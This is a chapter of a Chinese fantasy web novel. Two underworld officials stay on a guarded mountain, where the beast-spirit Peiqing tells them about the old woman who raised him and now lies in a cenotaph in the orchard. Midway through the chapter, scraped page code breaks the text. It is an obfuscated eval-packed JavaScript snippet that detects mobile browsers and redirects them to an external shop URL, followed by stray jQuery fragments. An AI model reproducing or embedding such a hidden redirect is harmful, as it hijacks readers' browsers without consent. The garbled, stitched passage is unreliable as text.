64. 净河契 三

作品:《身在地府不得不从

    “什么……意思?”她问,“什么我的房间?以前我来过这儿吗?”


    沛青有些惊讶地张了张嘴,但却很快收敛了,又恢复那个温和的表情一耸肩道:“这我也不清楚了,从前我并不住在这个地方,我只是按照这宅子主人的要求,维持现状。”


    “宅子主人?是谁?”她有些迫不及待,既然宅子主人如此了解她的生活,那与她也一定十分熟悉,她……


    “不知道,我并没有见过。”沛青有些抱歉地看她,“我来这儿的时候只有一位老者守着,但不久之后她就过世了。”


    沛青说着顿了顿:“算算时间,竟也有近百年了……”


    沈自珩站在房间门后沉默地听着他们的对话,随着沛青的话说出,他的脸色也越发难看,直到沛青走远,岑黎到房间来找他,他才缓了过来。


    “怎么了?”靠着门框的岑黎环抱着双手看着他,脸上的表情也不是很好,连笑都是硬挤出来的,“听着沛青刚刚说的那位老者……你是不是也觉得有点难过?”


    沈自珩看她,点点头。


    岑黎低下头,看着脚下洒扫干净的地面,语气低落地跟他说着:“不知道为什么,沛青说那位老者守着这儿直到过世,我就不自觉地想象她每天清晨起床后,独自一人在这偌大的地方走走停停,累了就找地方坐下歇脚,没人能搀扶她,也没人能陪她说话……她想说的话,是对着花草说,还是对着小鸟说……”


    “小黎。”沈自珩喊她,她抬起头,脸上已然有了几道泪痕。他抬手蹭了蹭她脸颊,“走之前,我们去祭拜一下?”


    她狠狠点头。


    时至傍晚,太阳耀眼的金光逐渐变成柔和的橘色隐入云中,将一大片云都照亮。岑黎坐在石台边缘仰头看着,突然觉得,如果就住在这儿,长久地留在这儿,也挺好。


    “很美吧。”沛青背着手走过来,站在一旁同她一起看着天,这会儿已经又变了颜色,变得更柔和,如梦似幻。“我也常常这么看着天,有时候是看朝阳,有时候是看落日,若是晚上睡不着还能在这儿看见星星。”


    岑黎没回头,一动不动地坐着,沛青也安静地站着,过了一会儿听见她开口:“你是如何知道有人要来的?”


    沛青笑笑:“净山的屏障被人闯入,我自然会知晓。”


    “那你是如何知道我叫岑黎,另一位是沈自珩?”


    “地府早就告知于我。”


    “谁?”


    沛青一挑眉毛,毫不犹豫地说出了一个名字:“薛礼。”


    她对这个答案倒是并不感到意外,继续问道:“所以也是他让你将我们带上山?”


    “是。”


    “打算让我们住几天?”


    “昆仑山五日后便是‘开山’,届时会将屏障打开一处,可供世间万物自由进入,你们可住到那时。”


    “进入?只进不出?”岑黎终于转过头看他。


    沛青摇摇头:“我不知。”


    方才从这位岑大人问第一个问题开始,他便有些提心吊胆,虽自己并未做甚亏心事,但这位岑黎大人的每次追问都比之前快上几分,让他没有时间思考,到最后几乎脱口而出。


    他无声地笑笑,还是提防着他呢。


    “大人,可以用晚膳了。”沛青像个管事一样恭敬地行礼提醒她吃饭。


    岑黎一手撑在石台上站了起来,拍了拍手上的灰后看向他,忽然噗嗤一下笑出声:“不用这么客气,出了地府谁还当大人啊,叫我岑黎就行。”


    沛青的笑终于有些崩塌的迹象,他吸了口气,重新笑着点头:“好的。”


    “你看见沈自珩了吗?”她跟着沛青往正厅走,一路上却始终没见沈自珩的身影。


    “沈大人去果园了,说要摘些水果。”沛青顿住脚步看着天色,“大人、岑……您想去吗,现在还来得及。”


    岑黎来了兴致,炯炯有神地看着他:“可以吗?”


    沛青说着当然,带着她往果园走。


    果园在石台下,介于山顶与半山腰之间的高度,不容易被野兽踩踏毁坏,也不会因位置太高而过于寒凉。


    他们绕过石台,踩着石阶往下走,两边当真如沛青所说,皆是平日没见过的稀奇植物。


    “岑黎,你看。”沛青指着前方一大片紫色,“那便是我说的灵起草。”


    这一大片灵起草竟是真与山上那一株不同,这些颜色更浅,每一株都更小一些,拥挤着长在一起,瞧着像一大家子。


    “等你们走时,给你们拿一些。”沛青的手中忽然多出了一个不知从哪拿的竹筐,“走吧?”


    岑黎直起腰,这个角度能瞧得见沈自珩的背影,他正站在果园里仰头瞧着树上的果子。


    她刚想问沛青从哪儿进果园,是不是沿着石阶一直往前。


    忽然她想起一个问题:“这山上的石阶,都是用什么石头做的?”


    沛青不解地一歪头,金色的眼睛看着她,又看了看脚下的石阶:“就是,平整一些的山石啊。”


    岑黎猛地转头看向远处那个身影。


    鬼……一顿不吃饿不死吧?


    说是果园,其中种的却不只果子,甚至角落里还划出了一小块四四方方的地,里头种的都是稀奇古怪的植物。


    “都是毒。”沛青从一旁的树上摘下几颗红彤彤的果子放进竹篮里,一边盯着岑黎谨防她伸手,“你可千万别碰,皮肤沾上一点便会中毒。”


    岑黎哦一声,收回蠢蠢欲动的手。


    “沈自珩,你摘了什么?”岑黎把手拢在嘴边,喊着离他们有些距离的沈自珩。


    沈自珩没回答,只招手让她过去。


    在果园一隅,一棵大梧桐树下,立着一块无字的石碑。


    “这是那位老者的……”


    “衣冠冢。”沛青放下手中的竹篮,朝着碑拜了拜,“她不愿被埋进不见天日的土里,便只能为她立了这个衣冠冢。”


    他看着眼前伤感的二人,轻笑一声指着眼前的果园:“二位可知这片果园里的果子长得为何这么好吗?”


    岑黎刚觉得鼻酸,便听见他开口说这话,连落泪也顾不上了,猛地转头看他,沈自珩在一旁也拧着眉。


    沛青瞧着他们不可思议的模样,咧嘴一笑:“因为这里风水好,所以将她安置在了这儿,果园也是后来才有的。”


    “二位大人这表情,是想到了什么?”


    岑黎举起拳头在他眼前晃了晃。


    晚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733915|186210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    膳是沛青做的,都是山里能得来的普通食材,青菜蘑菇之类的,味道却是十分好,岑黎夹着一筷子青菜使劲闻,一边闻一边夸:“好香的菜!沛青你手艺很好嘛,要不跟我回地府吧,可以在鬼市开个店,肯定很赚。”


    沛青正拿着茶壶给他们添茶,闻言摇头道:“我走了谁来守着这地方呢?”


    “这一处历来都是只能由一人守着吗?”沈自珩放下筷子问道,“你们可有记载的簿册?”


    “没有。”沛青将茶壶放在桌上,壶底与木桌碰撞发出一声闷响,“老者说皆是口口相传,能记得上一任便已经足够了。”


    他将面前的碗往桌子中间推了一寸,手搭在桌上空出来的地方,拇指与中指无意识地捻着:“我便也只知道她,只记得她。”


    看着他的动作和神情,沛青也是想念她的吧。岑黎想着,那老者生前一定是极好的人,才会让沛青始终铭记。


    “能跟我们讲讲她的事吗?”岑黎问,“无意冒犯,只是听你所言,那老者一定是很好的人吧。”


    沛青点头:“我初见她时,化形的状态并不稳定,经常会忽然化成原本的模样,你们也见过,一身长毛,金色眼睛,怎么看都不是常见的动物。那日我正在练习以人的姿态走路,走着走着就到了半山腰,正想往下走,就见她从山上下来。我没想过这座山中会有凡人,一时惊慌,在她面前化成了原型。”


    “我转身要跑,就听见她喊住我,说,小家伙,老婆子不害怕你,过来吧。她的声音苍老却和蔼,还带着笑意,当时我就觉得她一定不是坏人。她问我在做什么,得知我是刚学会化形的神兽后她也没有动什么坏心思,反而跟我说,以后想知道什么关于凡人的事,都可以上山找她。”


    沛青抿着嘴笑笑:“头发是她教我扎的,如何穿衣、如何待人,这些都是她教的,我问她为什么要教我这些,我本无意要学,她说:‘我想让你接替我,守护这里。’我答应了。你们知道类一直被人觊觎着,人间有传说道,类,食之肉可消妒忌。”


    “后来呢?”


    “后来,第二日一早,天还未亮她就坐到了那石台边。”沛青快速地眨了两下眼睛,试图赶走眼中的雾气。


    “你知道为何那日我见你不惧吗?”她坐在石台边,仰头看着仍然一片漆黑的天,慢慢地说着,像家里长辈同小辈讲一个故事一样,“曾经我养过一只小兽,看着像狐狸,又有些像狸猫,白色的,它当时年纪应该比你还小些,胆子也小,见到我有些胆怯,却不跑走,浑身湿漉漉的。我不忍心啊,将它抱回家,给它擦干了毛,又喂了一只鸡腿。第二天我打开门叫它走。”


    江兰乐呵呵地一拍腿:“但它不肯走,反而匍匐在我脚边,我就这么一直养着它……”


    “它跑走了一段时间,再回来找我时已经成了亭亭玉立的大姑娘,告诉我她有了心上人,安置在了皇城根儿下,想将我接过去同她一起住。”


    沛青问:“您怎么没去?”


    江兰瞧着云后的太阳笑了,花白的头发被阳光染成了金色:“她过得好好的,我去扰她做甚……沛青啊,沛青?”


    沛青应道:“诶。”


    江兰指着一个方向:“将我的衣冠冢,立在那儿吧。”